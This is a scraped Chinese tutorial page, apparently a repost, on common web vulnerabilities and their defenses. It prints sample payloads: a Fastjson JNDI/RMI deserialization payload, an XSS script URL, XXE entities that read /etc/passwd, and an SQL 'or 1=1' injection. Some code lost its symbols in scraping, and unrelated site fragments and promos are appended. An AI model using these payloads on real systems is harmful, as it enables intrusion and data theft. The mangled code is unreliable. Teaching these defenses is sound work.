django做网站网站开发服务器

张小明 2025/12/31 18:51:36
django做网站,网站开发服务器,长沙网页制作网站,番禺商城网站建设前言 我们日常开发中#xff0c;很多小伙伴容易忽视安全漏洞问题#xff0c;认为只要正常实现业务逻辑就可以了。其实#xff0c;安全性才是最重要的。本文将跟大家一起学习常见的安全漏洞问题#xff0c;希望对大家有帮助哈。如果本文有什么错误的话#xff0c;希望大家…前言我们日常开发中很多小伙伴容易忽视安全漏洞问题认为只要正常实现业务逻辑就可以了。其实安全性才是最重要的。本文将跟大家一起学习常见的安全漏洞问题希望对大家有帮助哈。如果本文有什么错误的话希望大家提出哈感谢感谢~1. SQL 注入1.1 什么是SQL注入SQL注入是一种代码注入技术一般被应用于攻击web应用程序。它通过在web应用接口传入一些特殊参数字符来欺骗应用服务器执行恶意的SQL命令以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。1.2 SQL注入是如何攻击的举个常见的业务场景在web表单搜索框输入员工名字然后后台查询出对应名字的员工。这种场景下一般都是前端页面把一个名字参数name传到后台然后后台通过SQL把结果查询出来name 田螺; //前端传过来的 SQL select * from staff where name name; //根据前端传过来的name参数查询数据库员工表staff因为SQL是直接拼接的如果我们完全信任前端传的参数的话。假如前端传这么一个参数时 or 11SQL就变成酱紫的啦。select * from staff where name or 11;这个SQL会把所有的员工信息全都查出来了酱紫请求用户已经越权啦。请求者可以获取所有员工的信息其他用户信息已经暴露了啦。1.3 如何预防SQL注入问题1.3.1 使用#{}而不是${}在MyBatis中,使用#{}而不是${}可以很大程度防止sql注入。★因为#{}是一个参数占位符对于字符串类型会自动加上其他类型不加。由于Mybatis采用预编译其后的参数不会再进行SQL编译所以一定程度上防止SQL注入。${}是一个简单的字符串替换字符串是什么就会解析成什么存在SQL注入风险”1.3.2 不要暴露一些不必要的日志或者安全信息比如避免直接响应一些sql异常信息。如果SQL发生异常了不要把这些信息暴露响应给用户可以自定义异常进行响应1.3.3 不相信任何外部输入参数过滤参数中含有的一些数据库关键词关键词可以加个参数校验过滤的方法过滤unionor等数据库关键词1.3.4 适当的权限控制在你查询信息时先校验下当前用户是否有这个权限。比如说实现代码的时候可以让用户多传一个企业Id什么的或者获取当前用户的session信息等在查询前先校验一下当前用户是否是这个企业下的等等是的话才有这个查询员工的权限。2. JSON反序列化漏洞——如Fastjson安全漏洞2.1 什么是JSON序列化JSON发序列化序列化把对象转换为字节序列的过程反序列把字节序列恢复为Java对象的过程Json序列化就是将对象转换成Json格式的字符串JSON反序列化就是Json串转换成对象2.2 JSON 反序列化漏洞是如何被攻击不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击。之前Fastjson频繁爆出安全漏洞我们现在分析fastjson 1.2.24版本的一个反序列化漏洞吧这个漏洞比较常见的利用手法就是通过jndi注入的方式实现RCE。我们先来看fastjson一个反序列化的简单例子public class User { private String name; private int age; public String getName() { return name; } public void setName(String name) { System.out.println(调用了name方法); this.name name; } public int getAge() { return age; } public void setAge(int age) { System.out.println(调用了age方法); this.age age; } public static void main(String[] args) { String str {\type\:\cn.eovie.bean.User\,\age\:26,\name\:\捡田螺的小男孩\}; User user JSON.parseObject(str,User.class); } }运行结果调用了age方法 调用了name方法加了type属性就能调用对应对象的setXXX方法而type表示指定反序列化成某个类。如果我们能够找到一个类而这个类的某个setXXX方法中通过我们的精心构造能够完成命令执行即可达到攻击的目的啦。★com.sun.rowset.JdbcRowSetImpl 就是类似这么一个类它有两个set方法分别是setAutoCommit和setDataSourceName”有兴趣的小伙伴可以看下它的源代码public void setDataSourceName(String var1) throws SQLException { if (this.getDataSourceName() ! null) { if (!this.getDataSourceName().equals(var1)) { super.setDataSourceName(var1); this.conn null; this.ps null; this.rs null; } } else { super.setDataSourceName(var1); } } public void setAutoCommit(boolean var1) throws SQLException { if (this.conn ! null) { this.conn.setAutoCommit(var1); } else { this.conn this.connect(); this.conn.setAutoCommit(var1); } } private Connection connect() throws SQLException { if (this.conn ! null) { return this.conn; } else if (this.getDataSourceName() ! null) { try { InitialContext var1 new InitialContext(); DataSource var2 (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() ! null !this.getUsername().equals() ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject(jdbcrowsetimpl.connect).toString()); } } else { return this.getUrl() ! null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }setDataSourceName简单设置了设置了dataSourceName的值setAutoCommit中有connect操作connect方法中有典型的jndi的lookup方法调用参数刚好就是在setDataSourceName中设置的dataSourceName。因此有漏洞的反序列代码实现如下即可public class FastjsonTest { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ //JDK 8u121以后版本需要设置改系统变量 System.setProperty(com.sun.jndi.rmi.object.trustURLCodebase, true); //RMI String payload2 {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\rmi://localhost:1099/Exploit\, \autoCommit\:true}; JSONObject.parseObject(payload2); } }漏洞复现的流程如下哈参考的代码来源这里哈fastjson漏洞代码测试https://github.com/earayu/fastjson_jndi_poc如何解决json反序列化漏洞问题可以升级版本比如fastjson后面版本增强AutoType打开时的安全性 fastjson增加了AutoType黑名单等等都是为了应对这些安全漏洞。反序列化有fastjson、gson、jackson等等类型可以替换其他类型。升级打开safemode3. XSS 攻击3.1 什么是XSS★XSS 攻击全称跨站脚本攻击Cross-Site Scripting这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码当用户浏览该页之时嵌入其中Web里面的html代码会被执行从而达到恶意攻击用户的特殊目的。XSS攻击一般分三种类型存储型 、反射型 、DOM型XSS”3.2 XSS是如何攻击的拿反射型举个例子吧流程图如下我们搞点简单代码样例吧首先正常html页面如下input typetext namename / input typesubmit value搜索 onclickhttp://127.0.0.1/search?name /body用户输入搜索信息点击搜索按钮就是到达正常服务器的。如果黑客在url后面的参数中加入如下的恶意攻击代码。http://127.0.0.1/search?keyworda href http://www.baidu.comscriptalert(XSS);/script/a当用户打开带有恶意代码的URL的时候正常服务器会解析出请求参数 name得到拼接到 HTML 中返回给浏览器。形成了如下的 HTML用户浏览器接收到响应后执行解析其中的恶意代码也会被执行到。4.这里的链接我写的是百度搜索页实际上黑客攻击的时候是引诱用户输入某些重要信息然后跳到他们自己的服务器以窃取用户提交的内容信息。3.3 如何解决XSS攻击问题不相信用户的输入对输入进行过滤过滤标签等只允许合法值。HTML 转义对于链接跳转如a hrefxxx等要校验内容禁止以script开头的非法链接。限制输入长度等等4. CSRF 攻击4.1 什么是CSRF 攻击CSRF跨站请求伪造英语Cross-site request forgery简单点说就是攻击者盗用了你的身份以你的名义发送恶意请求。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。4.2 CSRF是如何攻击的呢我们来看下这个例子哈来自百度百科Tom 登陆银行没有退出浏览器包含了Tom在银行的身份认证信息。黑客Jerry将伪造的转账请求包含在在帖子Tom在银行网站保持登陆的情况下浏览帖子将伪造的转账请求连同身份认证信息发送到银行网站银行网站看到身份认证信息以为就是Tom的合法操作最后造成Tom资金损失。4.3 如何解决CSRF攻击检查Referer字段。HTTP头中有一个Referer字段这个字段用以标明请求来源于哪个地址。添加校验token。5. 文件上传下载漏洞5.1 文件上传漏洞★文件上传漏洞是指用户上传了一个可执行的脚本文件并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存而用户绕过上传机制上传恶意代码并执行从而控制服务器。”解决办法一般就是限制服务器相关文件目录的权限校验上传的文件如后缀名 禁止上传恶意代码的文件尽量禁止使用前端上传的文件名5.2 文件下载漏洞文件下载漏洞举个例子使用 … 等字符使应用读取到指定目录之外的其他目录中的文件内容从而可能读取到服务器的其他相关重要信息。6. 敏感数据泄露这个相对比较好理解一般敏感信息包括密码、用户手机身份证信息、财务数据等等由于web应用或者API未加密或者疏忽保护导致这些数据极易被黑客利用。所以我们需要保护好用户的隐私数据比如用户密码加密保存请求采用https加密重要第三方接口采用加签验签服务端日志不打印敏感数据等等。7. XXE 漏洞7.1 什么是XXE★XXE就是XML外部实体注入。当允许引用外部实体时通过构造恶意内容就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。”7.2 XXE三种攻击场景场景1. 攻击者尝试从服务端提取数据?xml version1.0? !DOCTYPE foo [ !ELEMENT foo (#ANY) !ENTITY file SYSTEM file:///etc/passwd] ] fooxxe;/foo场景2. 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络!ENTITY xxe SYSTEM https://192.168.1.1/private]场景3. 攻击者通过恶意文件执行拒绝服务攻击!ENTITY xxe SYSTEM file:///dev/random]7.3 如何防御XXE使用开发语言提供的禁用外部实体的方法过滤用户提交的XML数据过滤!DOCTYPE和!ENTITY等关键词。8. DDoS 攻击8.1 什么是DDos攻击DDoS 攻击英文全称是 Distributed Denial of Service谷歌翻译过来就是“分布式拒绝服务”。一般来说是指攻击者对目标网站在较短的时间内发起大量请求大规模消耗目标网站的主机资源让它无法正常服务。在线游戏、互联网金融等领域是 DDoS 攻击的高发行业。为了方便理解引用一下知乎上一个非常经典的例子★我开了一家有五十个座位的重庆火锅店由于用料上等童叟无欺。平时门庭若市生意特别红火而对面二狗家的火锅店却无人问津。二狗为了对付我想了一个办法叫了五十个人来我的火锅店坐着却不点菜让别的客人无法吃饭。”8.2 如何应对 DDoS 攻击高防服务器即能独立硬防御 50Gbps 以上的服务器能够帮助网站拒绝服务攻击定期扫描网络主节点等黑名单DDoS 清洗CDN 加速9. 框架或应用漏洞Struts 框架漏洞远程命令执行漏洞和开放重定向漏洞QQ Browser 9.6API 权限控制问题导致泄露隐私模式Oracle GlassFish ServerREST CSRFWebLogic: 未授权命令执行漏洞Hacking DockerRegistry API 未授权访问WordPress 4.7 / 4.7.1REST API 内容注入漏洞10. 弱口令、证书有效性验证、内部接口在公网暴露、未鉴权等权限相关漏洞10.1 弱口令★空口令口令长度小于8口令不应该为连续的某个字符QQQQQQ账号密码相同例rootroot口令与账号相反例roottoor口令纯数字例112312324234 电话号口令纯字母例asdjfhask口令已数字代替字母例hello word hell0 w0rd口令采用连续性组合例123456abcdef654321fedcba服务/设备默认出厂口令”10.2 证书有效性验证漏洞如果不对证书进行有效性验证那https就如同虚设啦。如果是客户生成的证书需要跟系统可信根CA形成信任链不能为了解决ssl证书报错的问题选择在客户端代码中信任客户端中所有证书的方式。证书快过期时需要提前更换。10.3 未鉴权等权限相关漏洞一些比较重要的接口一般建议鉴权。比如你查询某账号的转账记录肯定需要先校验该账号是不是操作人旗下的啦。参考与感谢【入坑JAVA安全】fastjson中的jndi注入Web渗透之文件上传漏洞总结XXE漏洞利用技巧从XML到远程代码执行WEB应用常见15种安全漏洞一览什么是 DDoS 攻击弱口令总结什么是弱口令网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》需要点击下方链接即可前往获取读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。所有资料共282G朋友们如果有需要全套《网络安全入门进阶学习资源包》可以扫描下方二维码或链接免费领取~读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

深圳网站建设的公网站流量统计工具

课题介绍在社区治理精细化、邻里互助需求升级的背景下,传统社区互助存在 “信息传递慢、服务匹配低效、互助记录缺失” 的痛点,基于 SpringBoot 构建的社区互助系统,适配社区居民、网格员、社区管理员等角色,实现互助需求发布、志…

张小明 2025/12/30 5:03:48 网站建设

福建建设培训中心网站wordpress技术性博客主题

第一章:Shell脚本的基本语法和命令Shell脚本是Linux/Unix系统中自动化任务的核心工具,通过编写一系列命令并保存为可执行文件,用户可以高效地完成重复性操作。Shell脚本通常以#!/bin/bash开头,声明解释器路径,确保脚本…

张小明 2025/12/30 12:51:43 网站建设

长春个人网站制作公司云南公司网站开发

PaddlePaddle镜像助力金融风控模型开发实战 在金融科技的浪潮中,信贷审批、反欺诈和合规监控正越来越多地依赖人工智能技术。面对海量异构数据与不断翻新的欺诈手段,传统规则引擎已显得力不从心。深度学习模型因其强大的非线性拟合能力和对复杂模式的捕捉…

张小明 2025/12/31 4:04:04 网站建设

一流的成都 网站建设项目建设程序

第一章:沉思Open-AutoGLM在人工智能与自动化工程深度融合的当下,Open-AutoGLM 作为一个实验性开源框架,正悄然重塑开发者对语言模型集成与任务自动化的认知。它并非传统意义上的大模型,而是一套可编程的逻辑引擎,旨在将…

张小明 2025/12/30 14:15:43 网站建设

青岛专业网站制作设计免费注册网站

文章目录2.接口自动化测试2.9 测试报告allure2.9.1 介绍2.9.2 安装2.9.3 使用运行自动化,并指定测试报告放置路径查看测试报告2.接口自动化测试 2.9 测试报告allure 官方文档:https://allurereport.org/docs/pytest-configuration 2.9.1 介绍 Allure Re…

张小明 2025/12/31 1:46:43 网站建设

怎样制定一个网站建设方案360网页游戏大厅

有声读物制作新利器:EmotiVoice让朗读更具感染力 在有声内容井喷式增长的今天,用户早已不满足于“能听”的机械朗读。无论是深夜沉浸于悬疑小说的听众,还是追更儿童故事的小朋友家长,都在期待一种更真实、更有情绪张力的声音表达。…

张小明 2025/12/30 12:52:40 网站建设